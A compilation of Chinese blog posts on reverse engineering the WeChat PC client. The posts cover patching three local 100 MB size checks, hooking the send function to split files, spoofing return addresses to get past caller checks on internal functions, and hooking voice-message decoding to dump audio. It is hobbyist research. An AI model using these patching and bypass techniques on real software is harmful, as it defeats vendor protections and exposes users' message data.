01 0378e5c4 79a9ee3d 00000002 00000000 00000000 WeChatWin!_ASSERT+0x553c3 //10aeeba3
0:008:x86> g

艾玛啊，触发有点多啊，头疼。算了，换个思路。点击发送文件按钮，会弹出文件选择对话框，这是微软提供的。

写过win32 gui或者mfc程序的同学应该想到了，对弹出文件选择对话框的函数下断点。

不是~bp shell32!SHBrowseForFolderW这是目录选择~，也不是~bp shell32!SHFileOperationW~，而是这个：bp comdlg32!GetOpenFileNameW

Breakpoint 5 hit
COMDLG32!GetOpenFileNameW:
7523e810 8bff            mov     edi,edi
0:000:x86> kvn
 # ChildEBP RetAddr  Args to Child              
00 0075cffc 7908eac2 0075d014 c78f0306 1097cb80 COMDLG32!GetOpenFileNameW (FPO: [1,1053,4])
01 0075ebc0 7907e81c 000003e9 00000000 00000000 WeChatWin!IMVQQEngine::`default constructor closure'+0x2f1e2 //100deac2
02 0075ebd8 792e586f 000003e9 00000000 00000000 WeChatWin!IMVQQEngine::`default constructor closure'+0x1ef3c
03 0075ec38 792e556e c78f0492 00000000 0075ed54 WeChatWin!IMVQQEngine::`default constructor closure'+0x285f8f
04 0075ec54 753e48eb 00521896 000007e7 00000000 WeChatWin!IMVQQEngine::`default constructor closure'+0x285c8e
05 0075ec80 753c613c 792e54a0 00521896 000007e7 USER32!_InternalCallWinProc+0x2b
06 0075ed64 753c528e 792e54a0 00000000 000007e7 USER32!UserCallWinProcCheckWow+0x3ac (FPO: [SEH])
07 0075edd8 753c5070 000007e7 0075ee18 7968d71f USER32!DispatchMessageWorker+0x20e (FPO: [Non-Fpo])
08 0075ede4 7968d71f 0075edfc 00000000 00d90000 USER32!DispatchMessageW+0x10 (FPO: [Non-Fpo])
09 0075ee18 79666f9e 77779830 754207b0 00000001 WeChatWin!WCSGetInstance+0x2388f
0a 0075f0a0 00d91918 00d90000 00a72bf2 00000000 WeChatWin!StartWachat+0x14e
0b 0075f8bc 00d930b9 00d90000 00000000 00a72bf2 WeChat+0x1918
0c 0075f908 77776359 00520000 77776340 0075f974 WeChat+0x30b9
0d 0075f918 77a57a94 00520000 b5777c1c 00000000 KERNEL32!BaseThreadInitThunk+0x19 (FPO: [Non-Fpo])
0e 0075f974 77a57a64 ffffffff 77a78e17 00000000 ntdll_779f0000!__RtlUserThreadStart+0x2f (FPO: [SEH])
0f 0075f984 00000000 00d9312b 00520000 00000000 ntdll_779f0000!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

根据返回地址7908eac2计算到在IDA中地址100deac2，用IDA翻看一下函数怎么做的。

微信可以同时选择多个文件，这里循环获取到路径，限制最多10个，然后进入sub_100DEED0处理。

v24 = -GetOpenFileNameW(&v44);
if ( *filename )
    {
      while ( 1 )
      {
        memset(&String1, 0, 0x208u);
        lstrcatW(&String1, (LPCWSTR)String);
        lstrcatW(&String1, filename);           // 构造完整路径
        v46 = 0;
        *(_OWORD *)sigle_filepath = 0i64;
        sub_104822F0((int *)sigle_filepath, &String1, 0xFFFFFFFF);
        LOBYTE(v73) = 4;
        sub_10056060((unsigned int *)&filepath1, (unsigned int)sigle_filepath);
        LOBYTE(v73) = 3;
        if ( ++ii > 10 )                        // 最多10个文件
          break;
        filename += lstrlenW(filename) + 1;     // 下一个文件
        if ( !*filename )
          goto LABEL_35;
      }
...
sub_104822F0((int *)&filepath__, *filepath1_, 0xFFFFFFFF);
sub_100DEED0((int)v61, v33, filepath__.buf, filepath__.len, (int)v41, v42, v43);

进入函数sub_100DEED0之后，一下就看到获取文件大小的函数，然后是判断文件是否大于100M。

    v16 = f_FileUtils::fileSize_10475050(&path);
    filesize = v16.LowPart;

if ( filesize > 0 )
    {
      if ( filesize >= 104857600 )              // 100M
      {
         //100M提示框
      }
   }
}

先手工windbg修改一下指令，验证是否正确。把0x6400000改为0，jl改成jge即可。篇幅原因，不展开了。

通过调试确认，100M以上文件绕过这个限制。

.text:100DF347 07C                 cmp     esi, 6400000h
.text:100DF34D 07C                 jl      loc_100DF263 //0f8c10ffffff=>0f8d10ffffff(jge)
=>
.text:100DF347 07C                 cmp     esi, 0
.text:100DF34D 07C                 jge      loc_100DF263 //0f8c10ffffff=>0f8d10ffffff(jge)

但是还没完，依然会弹框，居然还有二次验证。

调试函数sub_100DEED0，单步继续往下走，看看是哪里弹框。最终找到在sub_10099D70这个函数里还有校验。

1 2	v33 = sub_104FF8F0(v7 + 337); sub_10099D70((_BYTE )v7[344], (size_t )&path, (char *)(v33 == 0));

同样进入sub_10099D70，找到校验代码。

v7 = f_FileUtils::fileSize_10475050(a2);
  filesize = v7.LowPart;
if ( filesize > 0 )
  {
    if ( filesize > 104857600 )                 // 100M
    {
        //100M提示框
    }
}

windbg修改一下指令，验证是否正确。把0x6400000改为0，jle改成jge即可，调试确认绕过检查。

.text:1009A34C 0AC                 cmp     esi, 6400000h
.text:1009A352 0AC                 jle     loc_1009A25C//0f8e04ffffff    =>0f8d04ffffff(jge)
=>
.text:1009A34C 0AC                 cmp     esi, 0
.text:1009A352 0AC                 jge     loc_1009A25C//0f8e04ffffff    =>0f8d04ffffff(jge)

过了这两处检查后，文件成功显示在输入框中。

不过直接发送依然失败，显示“上传文件大小不能大于100M”，应该是服务器做了检查。

另外，微信还支持拖动文件发送，经过前面两步的突破，此时拖入文件依然提示“发送的文件大小不能大于100M”。

那继续把这个干掉吧。拖动文件首先想到的就是DragQueryFileW，加上断点试试。

bp shell32!DragQueryFileW
0:000:x86> kv
 # ChildEBP RetAddr  Args to Child              
00 004fdbec 790ce89a 0f1a3978 ffffffff 00000000 SHELL32!DragQueryFileW 
01 004fded8 7577104b 038ca6c0 0c6b0bf8 00000001 WeChatWin!IMVQQEngine::`default constructor closure'+0x6efba//1011e89a 1011e8c9
02 004fdf18 75e0f4c4 02fa7770 00000002 00180cd0 ole32!CPrivDragDrop::PrivDragDrop+0x2eb (FPO: [Non-Fpo]) (CONV: stdcall) [com\ole32\com\rot\getif.cxx @ 658] 
03 004fdf5c 75dd4f3d 75770d60 004fe178 0000000c RPCRT4!Invoke+0x34

0:000:x86> kv 4
 # ChildEBP RetAddr  Args to Child              
00 004fdbec 790ce8c9 0f1a3978 00000000 004fdcc0 SHELL32!DragQueryFileW (FPO: [Non-Fpo])
01 004fded8 7577104b 038ca6c0 0c6b0bf8 00000001 WeChatWin!IMVQQEngine::`default constructor closure'+0x6efe9//1011e8c9
02 004fdf18 75e0f4c4 02fa7770 00000002 00180cd0 ole32!CPrivDragDrop::PrivDragDrop+0x2eb (FPO: [Non-Fpo]) (CONV: stdcall) [com\ole32\com\rot\getif.cxx @ 658] 
03 004fdf5c 75dd4f3d 75770d60 004fe178 0000000c RPCRT4!Invoke+0x34

确实拖动中会断下，但经过分析并不是关键代码，没有对文件进行处理，另外断下后，再跑起来，拖动文件失败。

所以另想他法。又想到了前面没有用处的getfilesizeex,再来尝试一下。

0:004> bp kernel32!getfilesizeex
0:004> g
Breakpoint 6 hit
KERNEL32!GetFileSizeEx:
777840e0 ff25d80f7e77    jmp     dword ptr [KERNEL32!_imp__GetFileSizeEx (777e0fd8)] ds:002b:777e0fd8={KERNELBASE!GetFileSizeEx (76ce2ec0)}
0:000:x86> kv
 # ChildEBP RetAddr  Args to Child              
00 004fde4c 791a9fc6 c74c6e8e 00000001 038ca6c0 KERNEL32!GetFileSizeEx
01 004fdec8 790cea71 0c700528 7a00c9dc 004fdf18 WeChatWin!IMVQQEngine::`default constructor closure'+0x14a6e6 //101f9fc6
02 004fded8 75770ed2 038ca6c0 0c700528 00000000 WeChatWin!IMVQQEngine::`default constructor closure'+0x6f191
03 004fdf18 75e0f4c4 02fa7770 00000002 00180cd0 ole32!CPrivDragDrop::PrivDragDrop+0x172 (FPO: [Non-Fpo])

嘿嘿，没想到一下子找到了关键位置，getfilesizeex建了一功。

filesize = f_FileUtils::fileSize_10475050(v52);

if ( sub_106DEFCB(*((_DWORD *)v2 + 463)) == 2 )
{
  if ( filesize.QuadPart > 0x1900000 )
    goto LABEL_28;
}
else if ( filesize.QuadPart > 104857600 )
{ 
     //100M提示
}

同样的方式，把0x6400000改为0，ja改成jbe，绕过这个校验。

.text:101FA196 078 81 7D C0 00 00 40 06                          cmp     dword ptr [ebp+filesize], 6400000h
.text:101FA19D 078 0F 87 76 FE FF FF                             ja      loc_101FA019
=>
.text:101FA196 078 81 7D C0 00 00 00 00                          cmp     dword ptr [ebp+filesize], 0
.text:101FA19D 078 0F 86 76 FE FF FF                             jbe      loc_101FA019

OK，到这里，本地100M限制就成功突破，下面继续看看如何绕过服务器限制。

2、突破服务器100M限制

前面提到，能够选择大于100M文件之后，点击发送依然会失败，提示“上传文件大小不能大于100M”。

很明显服务器做了上传文件限制。

所以如何突破这个限制呢？

额，动不了服务器代码啊…

能够想到的就是在文件发送前，自动分割文件为小于100M的多个文件，然后将分割的文件自动发送出去，在接收方，把收到的每个文件再自动合并。

如此服务器也不会说文件大于100M了，对于用户来说，体验也是一致的。

是的，我就是这么实现的。

首先，找到发送文件的函数。

由于之前分享过如何找到发送消息的函数，详情请看文章微信PC端技术研究(3)-如何找到消息发送接口，所以这里不详细分析如何找到发送文件的函数了。

直接拿来用，就是这个函数sub_102382E0。

.text:100CC124 DE0 83 EC 14                                      sub     esp, 14h
.text:100CC127 DF4 8B CC                                         mov     ecx, esp        ; filepath
.text:100CC129 DF4 89 65 A0                                      mov     [ebp-60h], esp
.text:100CC12C DF4 57                                            push    edi             ; 
.text:100CC12D DF8 E8 FE 5E 3B 00                                call    sub_10482030
.text:100CC132 DF4 83 EC 14                                      sub     esp, 14h
.text:100CC135 E08 8B CC                                         mov     ecx, esp
.text:100CC137 E08 89 65 9C                                      mov     [ebp-64h], esp
.text:100CC13A E08 FF 75 B4                                      push    dword ptr [ebp-4Ch]
.text:100CC13D E0C E8 EE 5E 3B 00                                call    sub_10482030
.text:100CC142 E08 8D 85 40 FB FF FF                             lea     eax, [ebp-4C0h] ; wxid
.text:100CC148 E08 C6 45 FC 0F                                   mov     byte ptr [ebp-4], 0Fh
.text:100CC14C E08 50                                            push    eax             ;
.text:100CC14D E0C E8 AE F9 F9 FF                                call    sub_1006BB00
.text:100CC152 E0C 8B C8                                         mov     ecx, eax
.text:100CC154 E0C C6 45 FC 0C                                   mov     byte ptr [ebp-4], 0Ch
.text:100CC158 E0C E8 83 C1 16 00                                call    sub_102382E0 //发送文件

接口大概是这个样子的。

void __stdcall fakeWechatSendMsg1(int unk, wchar_t* wxid, int len1, int maxlen1, int unk1, int unk2, wchar_t* path, int len2, int maxlen2, int unk3, int unk4, int a1, int a2, int a3, int a4, int a5, int a6)

然后hook sub_102382E0，拿到path文件路径后，获取文件大小，如果大于100M，则分割文件，然后重新调用sub_102382E0把分割文件发送出去。大概代码如下：

bool fakeWechatSendMsgInternal(DWORD dwEcx, wchar_t* wxid, wchar_t* filepath)
{
    int filesize = XxGetFileSize(filepath); //获取文件大小
    if (filesize > FILE_SIZE_100M) {
        return ExtendSendFile(dwEcx, wxid, filepath);
    }

    return false;
}

bool ExtendSendFile(DWORD dwEcx, wchar_t* wxid, WCHAR* filepath)
{
    std::vector filevec;
    if (SplitFile(filepath, filevec) && filevec.size() > 0) { //分割文件
        for (int i = 0; i < filevec.size(); i++) {
            SendFileMsg(wxid, (WCHAR*)filevec[i].c_str()); //发送分割文件
        }
        return true;
    }
    return false;
}

OK，突破服务器100M限制也完成了（详细实现代码请移步SuperWeChatPC开源项目）。

不过在测试中，发现bug多多（说的是微信）。

经测试自带单文件发送功能，100M，甚至99M、或者更小点的文件，发送到最后都没成功，微信bug or 网络问题？
96M左右可以成功，55M左右文件可以妙传，不稳定，这个可能网络问题，但是我怎么也是100M宽带啊。
自带多个文件同时发送，40M都无法发送成功。
有时还会提示：文件无法发送，已超过今日发送限制。
而此时选择10M以内文件依然能够发送成功。

所以最后，我不得不面对现实，把文件分割成了每个10M大小的文件进行尝试，终于一个大于100M的文件发送成功了，并且非常稳定！

3、总结

简单总结一下，我是如何让微信发送成功100M以上文件的。

首先、突破本地100M限制，也就是选择100M文件限制，最终patch三个点绕过判断即可。
然后，hook发送文件接口，把大于100M文件分割，然后自动发送小文件。
最后，接收方自动合并文件（并没有做，哈哈）

因为接收方并没有做自动合并的功能，所以需要自己合并一下，也很简单。

1 2	//使用windows原生命令合并文件 copy /b Test_100M.pdf._1+Test_100M.pdf._2+Test_100M.pdf._3 Test_100M.pdf

让这个功能更完美，还需要做：

删除分割的小文件
接收方自动合并文件
微信修复bug，能够100M分割（@tencent @weixin)

最后，想试用大文件传输功能，请下载最新的https://github.com/anhkgg/SuperWeChatPC。

欢迎PR、star、试用。

欢迎关注技术公众号：汉客儿

转载请注明出处：https://anhkgg.com/anti-call/

一次美丽的误会引发对函数调用保护的思考

2019-08-09T06:45:27.000Z

如何防止别人调用自己的函数？

很久没碰wx了，最近想写个东西，就重新拿了起来，最新版本2.6.8.65（此时已经2.6.8.68）。

找到以前分析过的发送文本消息接口，发现函数大变样，很明显的vm痕迹。

.vmp0:1131CE33 000                 push    2493AC03h
.vmp0:1131CE38 004                 call    sub_1134AEB3
.vmp0:1131CE3D 000                 mov     cx, [ebp+0]
.vmp0:1131CE42 000                 test    bp, 373Dh
.vmp0:1131CE47 000                 shl     ah, cl
.vmp0:1131CE49 000                 mov     dx, [ebp+2]
.vmp0:1131CE4E 000                 cmovnb  eax, edi
.vmp0:1131CE51 000                 lea     ebp, [ebp-2]
...
.vmp0:1131CE9C                     bswap   eax
.vmp0:1131CE9E                     inc     eax

当时也没在意，仔细看接口参数并没有变化，就直接拿来用了。

结果发现接口不能用了，并没有成功发送文本信息。

擦，难道vm里面藏了什么玄机，做了防止函数调用的保护？？

…

正整备大干一场的时候，重新测试给别人发送消息是ok的。

这是一次美丽的误会，测试时是给自己的微信发送消息，结果证明该接口是不能给自己发的，所以没成功。

…

然后就继续说说先前自以为的wx在函数中可能做的防止调用的保护吧。

防

按照自己思考的防止别人调用函数的思路，其实就是检查调用源，那么肯定是从调用栈入手：

在函数内部回溯调用堆栈，检查返回地址
返回地址为微信模块则正常调用，否则拒绝执行
可能检查一层（wechatwin.dll），或者多层
可能检测返回地址在模块范围，或者是准确的返回地址
vm相关逻辑，增加分析难度

大概实现代码就是：

void TestAntiCall(DWORD a1)
{
//vmstart
    DWORD retAddr = *((DWORD*)((char*)&a1 - 4));//
    if(retAddr > wxModuleBase && retAddr < wxModuleEnd) {
      //do things
    } else {
       //anti
      //do nothing
    }
//vmend
}

攻

所以能够想到的对抗方式就是在调用TestAntiCall的时候，修改调用栈返回地址，让TestAntiCall误以为确实是正常调用。

这里分析只考虑检查一层返回地址。

比如如下正常调用代码，00003就是返回地址，在合法模块内，即可正常调用。

//正常调用代码
void Right_TestAntiCall()
{
00001 push a1
00002 call TestAntiCall
00003 add esp, 4
}

而我的调用TestAntiCall函数（在我的模块内）如下，add esp, 4;为TestAntiCall拿到的返回地址，这个地址肯定在我的模块内，调用失败。

pfnTestAntiCall = 原始TestAntiCall地址;
pfnTestAntiCall_RetAddr = 000003;//调用TestAntiCall返回地址
//这个会失败
void MyTestAntiCall(DWORD a1)
{
 __asm {
    push a1;
    call pfnTestAntiCall;
    add esp, 4; //返回地址
  }
}

然后尝试欺骗TestAntiCall，我们修改一下调用栈的返回地址（本来应该是MyRetAddr）。

通过push+jmp来替换通常的call，这样返回地址由我们自己压入，这里压入正常调用的返回地址g_SendTextMsgRetAddr。

//这个会成功
void MyTestAntiCall(DWORD a1)
{
    __asm {
        push a1;
        push g_SendTextMsgRetAddr;//压入原始retaddr
        jmp pfnWxSendTextMsg; //调用函数，这样函数内部检测就是正常的
        add esp, 4; //MyRetAddr
    }
}

当然，就这么简单的调用，肯定会出问题的，因为jmp pfnWxSendTextMsg之后，就会返回到Right_TestAntiCall的00003，如此显然导致栈破坏，会出现崩溃。

所以为了让程序正常执行，还需要多两个处理步骤。

Right_TestAntiCall的00003处修改指令为jmp MyRetAddr。让执行流返回到MyTestAntiCall1
恢复00003处原始指令。

//1. `Right_TestAntiCall`的00003处修改指令为jmp MyRetAddr。让执行流返回到MyTestAntiCall1
void fakeAntiTestCall(DWORD retaddr1, DWORD retaddr2, char OrigCode[5])
{
    DWORD MyRetAddr = retaddr1 - 24;
    DWORD ShellCode[5] = { 0xe9, 0x00, 0x00, 0x00, 0x00 };
    *((DWORD*)(&ShellCode[1])) = MyRetAddr;
    memcpy(OrigCode, (char*)retaddr2, 5);
    Patch((PVOID)retaddr2, 5, ShellCode);
}

//2. 恢复00003处原始指令。
void fakeAntiTestCall1(DWORD retaddr2, char OrigCode[5])
{
    Patch((PVOID)retaddr2, 5, OrigCode);
}

//这个会成功
void MyTestAntiCall(DWORD a1)
{
    DWORD MyRetAddr = 0;
    char OrigCode[5] = { 0 };
    __asm {
        jmp RET1;
    INIT:
        pop eax;//retAddr
        mov MyRetAddr, eax;
        lea eax, OrigCode;
        push eax;
        push g_SendTextMsgRetAddr;
        push MyRetAddr;
        call fakeAntiTestCall; //在原始g_SendTextMsgRetAddr处跳入MyTestAntiCall1的MyRetAddr
        push a1;
        push g_SendTextMsgRetAddr;//压入原始retaddr
        jmp pfnWxSendTextMsg; //调用函数，这样函数内部检测就是正常的
        add esp, 4; //MyRetAddr
        lea eax, OrigCode;
        push eax;
        push g_SendTextMsgRetAddr;
        call fakeAntiTestCall1;//恢复g_SendTextMsgRetAddr数据
        ret;
    RET1:
        call INIT;
        nop;
    }
}

为了拿到MyRetAddr的地址，通过call+pop的方法完成，如下：

__asm {
    jmp RET1:
    WORK:
        pop eax; //eax = retaddr
        mov retaddr, eax;
        //do thing
        add esp, 4;//MyRetAddr
    RET1:
        call WORK;//push retaddr; jmp WORK;
        nop;//retaddr
}

上面拿到retaddr和MyRetAddr明显不是同一个，所以在fakeAntiTestCall中减去一个偏移24拿到MyRetAddr。

偏移值通过下面的字节码可以计算出来10024E1E - 10024E06 = 24。

.text:10024DDF EB 37                             jmp     short RET1
.text:10024DE1                   INIT:   
.text:10024DE1 58                                pop     eax
.text:10024DE2 89 45 F4                          mov     MyRetAddr, eax
.text:10024DE5 8D 45 F8                          lea     eax, OrigCode
.text:10024DE8 50                                push    eax
.text:10024DE9 FF 35 00 D0 25 10                 push    pfnTestAntiCall_RetAddr
.text:10024DEF FF 75 F4                          push    MyRetAddr
.text:10024DF2 E8 C9 00 00 00                    call    fakeAntiTestCall; 
.text:10024DF7 FF 75 E0                          push    a1
.text:10024DFA FF 35 00 D0 25 10                 push    pfnTestAntiCall_RetAddr
.text:10024E00 FF 25 D4 A4 28 10                 jmp     pfnTestAntiCall; 
.text:10024E06 83 C4 04                          add     esp, 4
.text:10024E09 8D 45 F8                          lea     eax, OrigCode
.text:10024E0C 50                                push    eax
.text:10024E0D FF 35 00 D0 25 10                 push    MyRetAddr
.text:10024E13 E8 88 00 00 00                    call    fakeAntiTestCall1; 
.text:10024E14 C3                                ret;
.text:10024E19
.text:10024E19                   RET1:    
.text:10024E19 E8 C4 FF FF FF                    call    INIT
.text:10024E1E 90                                nop

如此可以正常完成一次调用，但是还有问题，因为会反复修改Right_TestAntiCall的指令，可能在多线程中执行时出现问题。

所以更好的方法时在Right_TestAntiCall的模块中找一个不用（零值）的内存，用来保护临时指令，不细讲了，大家自行探索吧。

（完）

转载请注明出处：https://anhkgg.com/anti-call/

微信逆向分析相关研究技术文章收集

2019-08-06T02:43:05.000Z

微信相关研究技术文章收集，版权属于原作者，不定时更新。

欢迎关注：https://github.com/anhkgg/awesome-wechat-technology

QQ交流群：753894145

鬼手系列

关注技术公众号：汉客儿

微信PC端技术研究(2)-保存聊天语音

2019-02-03T04:07:24.000Z

QQ交流群：753894145

欢迎关注技术公众号：汉客儿

微信PC端技术研究-保存聊天语音
by anhkgg（公众号：汉客儿）
2019年1月31日

0x0. 前言

虽然一直知道CE，也用过一段时间，但一直用不好，可能太笨。

最近又学习了某位大佬用CE的方法，大佬的一句话有点醍醐灌顶，然后有了新的感觉，然后开始尝试实践这篇文章。

自己总结一下CE用法的核心思路：通过各种技巧搜索找到内存中关键数据，然后结合动态调试找到操作数据的函数。

准备工具：Cheat Engine，OllyDbg，IDA。

0x1. 了解CE

官网：https://www.cheatengine.org/

看看来自百科的介绍：

Cheat Engine 是一款内存修改编辑工具，它允许你修改你的游戏或软件内存数据，以得到一些其他功能。它包括16进制编辑，反汇编程序，内存查找工具。与同类修改工具相比，它具有强大的反汇编功能，且自身附带了外挂制作工具，可以用它直接生成外挂。

在我看来，CE做的最好的就是各种策略的内存搜索能力。

支持准确数据（整数、字符串、十六进制、浮点数、字节数组等等）搜索，针对目标数据明确效果显著，比如金币数。
支持数据范围的搜索，比如大于某个值，小于某个值等等。比如想找到没有显示数值的血量数据。
支持多组数据同时搜索，针对数据结构复杂的情况
支持搜索结果的多次过滤（图中框选的Next Scan），最终找到目标数据。比如血量未知时，通过加血、减血多次搜索最终找到血量地址。

说到底CE内存搜索的能力就是通过各种策略帮助你找到游戏中需要修改的数据（比如血量、分数、金币等等），然后通过内存修改能力（直接改血量）打破游戏平衡，外挂制作工具生成外挂，助你超神！

https://blog.csdn.net/zhaobisheng1/article/details/79259460

0x2. 分析

进入正题，本文是要拿到微信聊天的语音消息，然后dump保存下来。

要按以前我的思路，会通过网络通信找到接受消息的函数，然后找到语音数据，看起来很简单，但是有点难。

因为函数真的很多，网络消息也会受到很多干扰。

现在用CE了，应该怎么办呢？

找到关键数据

关键数据肯定是语音消息了，但是怎么搜索呢，肯定搜语音内容不现实，所以转了弯，先看看文字消息，找到接受文字消息处理函数之后，猜测语音处理函数会相同或者在不同分支。

接着，如何搜索文字消息呢？已经收到的显示在聊天窗口的内容当然可以通过CE找到，但是没用啊，它和接受文字消息处理函数已经没关系了，流程已经处理完成了。

那么在测试中肯定知道发送的消息内容，通过CE来搜索可以吗？

额，我觉得不行，还没收到消息呢，内存中也没有这个文字消息，搜索不到（如果可以，请大佬指点一下）。

能想到的是，在接受到消息某一点通过调试器断下来，然后CE搜索，这样可以，但是这个断点找不到阿，放弃。

那怎么办呢？

看到左侧聊天列表中显示的最新一条消息，有了新的思路。

每次收到新消息后，都会在列表中显示最新消息内容（图中绿框指示位置、注意是unicode字符）。

那么，先用CE（First Scan）搜索当前搜到的消息内容，找到可能的内存地址。多次接受不同消息后，Next Scan按钮搜索每次新的消息内容，最终确定聊天列表中显示的最新消息内容的内存地址。

多次刷选之后，留下两个地址，通过CE修改内容，在界面中查看是否改变，最终确认第二个地址就是我们的目标，暂把该地址记录为MsgAddr。

分析消息接收函数

关键数据地址已经找到，下面的工作复杂也不复杂，就看微信是如何实现的了。

猜测微信实现消息显示的流程是这样的：

recv收到消息，组装完整包后，分发给消息处理函数
根据wxid找到要显示消息的列表项，如果不在已聊天消息列表，就新建一个项
在列表中显示消息，如果是表情显示[文字]，语音显示为[语音]，消息插入wxid对应消息队列，或者存入数据库

步骤3中肯定要写前面找到的MsgAddr内存，把最新消息显示到界面中，这个流程肯定在消息处理函数内部。

So，通过OD对MsgAddr下内存写入断点，回溯堆栈就可以找到消息处理函数。

具体操作如下：

OD挂载Wechat.exe进程后，在左下角内存窗口处Ctrl+G，输入找到的MsgAddr（11A11F34）回车，定位到该数据，然后再HEX数据处，右键弹出菜单，选择断点->内存写入。

断点设置完成后，测试发送文字消息，OD断住，代码窗口显示的就是修改MsgAddr的代码位置，如上图10CE412C处。

Alt+K查看当前堆栈。

调用堆栈
地址       堆栈       函数过程 / 参数                       调用来自                      结构
0012E068   106BD6F3   WeChatWi.10CE4110                     WeChatWi.106BD6EE             0012E064 //wcsncpy
0012E088   106BD769   WeChatWi.106BD67E                     WeChatWi.106BD764             0012E084
0012E09C   1011DD8B   WeChatWi.106BD753                     WeChatWi.1011DD86             0012E098
0012E0EC   10206C67   包含WeChatWi.1011DD8B                   WeChatWi.10206C64             0012E0E8
0012E600   1020E8F1   ? WeChatWi.10206460                   WeChatWi.1020E8EC             0012E5FC //界面操作

看到这个调用栈是不是感觉好少，分析起来肯定简单。但，其实是OD显示的并不全，此时真的很想用windbg。

在OD的右下角堆栈窗口，可以看到当前调用栈的参数和预览数据。F8单步（或者Alt+F8执行到返回）逐步的回溯每层堆栈。关注MsgAddr的数据是如何生成的，也就是找到数据来源，然后找到消息处理函数。

跟踪过程不赘述（需要熟悉汇编知识），直到看到的最顶层的WeChatWi.10206460处，发现是把收到的消息内容显示到聊天列表处的一个界面功能函数。

那这里不是可以拿到消息了吗，是的，普通文字消息已经可以拿到，但是语音内容不行。

通过观察内存窗口的数据，整理WeChatWi.10206460处的关于消息参数的大致结构。

//聊天列表框信息

struct chat_list_msg {
DWORD unk;//
wstring wxid;//
//wchar_t* wxid;//4
//int len;//8
//int maxlen;//c
DWORD unk1;//10
DWORD unk2;//14
wstring name;
//wchar_t* name;//18微信名
//int len;//1c
//int maxlen;//20
…
wstring msg; //
//wchar_t* msg;//3c
//int len;//
//int maxlen;
}

wstring msg字段就是文字消息内容，而语音消息则是预览中看到的[语音]两字，并没有实际能够听到的语音数据，所以还得继续往前找。

继续往上回溯了3层左右，进入了102DDC50，找到了语音消息的新信息。

struct msg_xx
{
char unk[0x40];//
wstring wxid1;//40
wstring wxid2;//4c
char unk1[0x10];//58
wstring msg;//68
char unk2[0x10];//74
;//84
}

在wstring msg处就是普通文字消息内容，而语音消息并不是我想象的就是直接语音的数据，而是…如下：

</msg>

真是一波三折，还不是语音的数据，而是关于语音信息的xml，有语音的大小，来自谁，在语音缓冲区中的id（bufid）等等信息。

继续往前找呗，最后回溯到了所有消息处理的分发函数10323FF0中。这个函数处理逻辑很复杂，我并没有很快就找到如何生成语音消息的xml，以及处理语音数据的函数。

一度卡住，重复分析了很多次。

后来又回神想到了逆向神器IDA，xml中数据如voicemsg肯定是模块中会在代码中用到，看看有没有有用的信息。

用IDA打开Wechatwin.dll，shift+F12分析出所有字符串，Ctrl+F找到关键字voicemsg，看来有戏。

真的是柳暗花明又一村。

点击字符串跳到代码窗口，按下x，跳到引用该数据的位置。

找到了解析语音xml数据和解码语音数据的关键函数。

f_parseVoiceXmlInfo_103148E0
text:103149DD 0E4 0F 84 74 02 00 00                             jz      loc_10314C57
.text:103149E3 0E4 68 D0 06 F0 10                                push    offset aVoicemsg ; "voicemsg"
.text:103149E8 0E8 8B CF                                         mov     ecx, edi
.text:103149EA 0E8 E8 31 28 3E 00                                call    f_xml_subnode_106F7220
.text:103149EF 0E4 85 C0                                         test    eax, eax
.text:103149F1 0E4 0F 84 60 02 00 00                             jz      loc_10314C57
.text:103149F7 0E4 8D 70 2C                                      lea     esi, [eax+2Ch]
.text:103149FA 0E4 68 C4 06 F0 10                                push    offset aClientmsgid ; "clientmsgid"
.text:103149FF 0E8 8B CE                                         mov     ecx, esi
.text:10314A01 0E8 E8 CA 3A 3E 00                                call    f_xml_getvalue_106F84D0

函数103148E0解析xml拿到几个字段的内容，返回上层函数调用一个语音解码的函数进行处理，而这个解码函数就会直接操作语音数据。

(*(void (__thiscall **)(int *, _DWORD, _DWORD, int *, signed int))(*v7
                                                                            + 28))(//
             v7,
             *(_DWORD *)(voice_msg + 48),      // 语音内容
             *(_DWORD *)(voice_msg + 52),      // 语音长度
             v17,
             v4);

函数103148E0回溯再看看，进入了分发函数10323FF0中，在一个循环中处理了多种流程，包括显示界面最新消息的流程和解码语音的流程。所以前面找的方向并没有问题，只是缺少认真分析数据和代码的耐心。

不过，目的都达到了，找到了数据处理函数，最后通过hook这个函数就能拿到语音数据。

另外可以看到语音数据中包含SILK_V3的字符，这种编码音频格式是Skpye曾经使用的一种编码方式，后来开源了。目前播放器并不能直接播放该编码音频文件，所以需要转码为MP3等格式。不过可喜的是已经有大佬完成了这个工作，并开源了工具silk-v3-decoder。所以把代码拿来整合一下，就可以完整的实现实时dump语音聊天数据，转换为mp3进行保存，完美。

0x3. 总结

这是第一次比较成功的应用CE，整个看来，确实省下来很多定位数据和函数的工作。

但CE并不是万能的，要找对方法，找对目标数据才可能成功，对于某些没有明显数据的功能，可能也是无能为力。

最终还是得提高对大型软件的逆向能力，总体实现思路的猜测以及调试验证。

最后，时间仓促，目前只是将保存语音的demo更新到到SuperWeChatPC项目中，后续会持续更新，欢迎关注。

转载请注明出处：https://anhkgg.com/wechat-voice/

微信PC端技术研究-消息防撤销

2018-12-01T03:32:27.000Z

欢迎关注技术公众号：汉客儿

微信PC端技术研究-消息防撤销
by anhkgg
2018年11月30日

0x1. 写在前面

不知道大家有没有遇到过这种情况，微信收到消息，但是没有及时查看，然后闲暇时去看的时候，消息被撤销了，撤销了！

那时肯定是无比无语，挠心挠肺，究竟发了什么？

有没有一种神器可以防消息撤销呢，有的！其实移动端和mac上已经有人做了相关的插件，但是PC端貌似没人来啃这块骨头。

当然也可能是我没找到，不过不管怎样，对我来说就是没有。

既然如此，小生来！

0x2. 技术分析

先理一下思路：

1.对方发送消息之后，我收到消息并在消息窗口显示

2.然后对方点击菜单选择撤销

3.我会收到发来的撤销通知，然后删除消息窗口显示的消息

所以分析方向就基本定为两个方向了：

1.一个是通过分析网络消息找到撤销消息，然后拦截该消息阻止消息被撤销

2.另一个是找到撤销消息的界面操作，patch掉这个撤销消息的操作即可

开始之前，先了解一下微信主要模块都实现什么功能。

模块	功能
WeChat.exe	主程序，初始化操作，加载WeChatWin.dll
WeChatWin.dll	主要功能模块，包括界面、网络、功能
wechatresource.dll	保存资源的模块，包括界面资源

主要分析目标就是WeChatWin.dll，其实很早之前就想分析这个东西了，但是那时候的老版本vmp壳加的更严重（映像中是，无法考证），所以搁置很久。

当前我分析的版本应该是最新的2.6.5.38，目前来看加壳程度还行，基本都是比较好分析的代码，没有经过加壳处理，不过听说核心代码还是处理过的。

1. 界面入手

